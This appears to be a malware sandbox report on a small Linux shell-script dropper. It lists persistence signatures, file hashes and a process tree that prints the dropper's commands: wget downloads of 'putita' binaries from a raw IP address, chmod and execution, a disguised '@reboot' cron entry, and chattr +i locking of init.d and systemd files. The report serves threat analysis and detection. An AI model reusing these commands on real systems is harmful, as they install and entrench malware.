Analysis

  • max time kernel
    147s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/07/2026, 02:38

General

  • Target
    9679b99144febbed9aae1222361e08578897e83d9b5d12024850a8aa57a011a8.sh
  • Size 900B
  • Sample260712-c443vsbz8l
  • SHA256 9679b99144febbed9aae1222361e08578897e83d9b5d12024850a8aa57a011a8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 8 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Modifies Bash startup script 2 TTPs 8 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9679b99144febbed9aae1222361e08578897e83d9b5d12024850a8aa57a011a8.sh
    /tmp/9679b99144febbed9aae1222361e08578897e83d9b5d12024850a8aa57a011a8.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /usr/bin/wget
      wget http://64.89.163.215/bins/putita.arm
      2⤵
      • Writes file to tmp directory
      PID:643
    • /bin/chmod
      chmod +x putita.arm
      2⤵
      • File and Directory Permissions Modification
      PID:668
    • /tmp/putita.arm
      ./putita.arm
      2⤵
      • Deletes itself
      • Creates/modifies environment variables
      • Modifies init.d
      • Modifies rc script
      • Modifies systemd
      • Modifies Bash startup script
      • Changes its process name
      • Reads runtime system information
      PID:669
      • /bin/sh
        sh -c "crontab -l 2>/dev/null"
        3⤵
          PID:670
          • /usr/bin/crontab
            crontab -l
            4⤵
            • Reads runtime system information
            PID:671
        • /bin/sh
          sh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/lib/kworker-helper') | crontab - 2>/dev/null"
          3⤵
            PID:673
            • /usr/bin/crontab
              crontab -
              4⤵
              • Creates/modifies Cron job
              • Reads runtime system information
              PID:675
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:676
        • /usr/bin/wget
          wget http://64.89.163.215/bins/putita.x86_64
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod +x putita.x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/putita.x86_64
          ./putita.x86_64
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://64.89.163.215/bins/putita.x86
            2⤵
            • Writes file to tmp directory
            PID:690
        • /bin/busybox
          chattr +i /etc/init.d/kworker-helper
          1⤵
            PID:682
          • /bin/busybox
            chattr +i /etc/systemd/system/kworker-helper.service
            1⤵
              PID:681
            • /usr/bin/chattr
              chattr +i /etc/init.d/kworker-helper
              1⤵
                PID:679
              • /usr/bin/chattr
                chattr +i /etc/systemd/system/kworker-helper.service
                1⤵
                  PID:678
                • /bin/busybox
                  chattr +i /usr/lib/kworker-helper
                  1⤵
                    PID:680
                  • /usr/bin/chattr
                    chattr +i /usr/lib/kworker-helper
                    1⤵
                      PID:677

                    Network

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                          kworker-helper

                          • Path /etc/init.d/kworker-helper
                          • Size 379B
                          • SHA256 daeb1a39fa3bf6fad15573d3aba269ac40fd43532bb487be2ed13453756cbe50
                          • MD5 SHA1 SHA512 TLSH

                          kworker-helper.service

                          • Path /etc/systemd/system/kworker-helper.service
                          • Size 190B
                          • SHA256 dcc492c83b938187ae12ae6df39f2350a98bb80761d79aa3ad4f29fa9a371c07
                          • MD5 SHA1 SHA512 TLSH

                          .ashrc

                          • Path /root/.ashrc
                          • Size 61B
                          • SHA256 30fc62ecc4fde897502efdd4821bd14c60694b758b6664f4044cfd48ca3a2efb
                          • MD5 SHA1 SHA512

                          putita.arm

                          • Path /tmp/putita.arm
                          • Size 45KB
                          • SHA256 a92ba723f321aa6a37d07ed61538f259c859e63cf4768a07e253361800e48758
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          tmp.qSnJqs

                          • Path /var/spool/cron/crontabs/tmp.qSnJqs
                          • Size 207B
                          • SHA256 923a7a4973b02dc7c32cd91728f55a65caed6f4d7a13dd8f5c74b6ce46218a47
                          • MD5 SHA1 SHA512 TLSH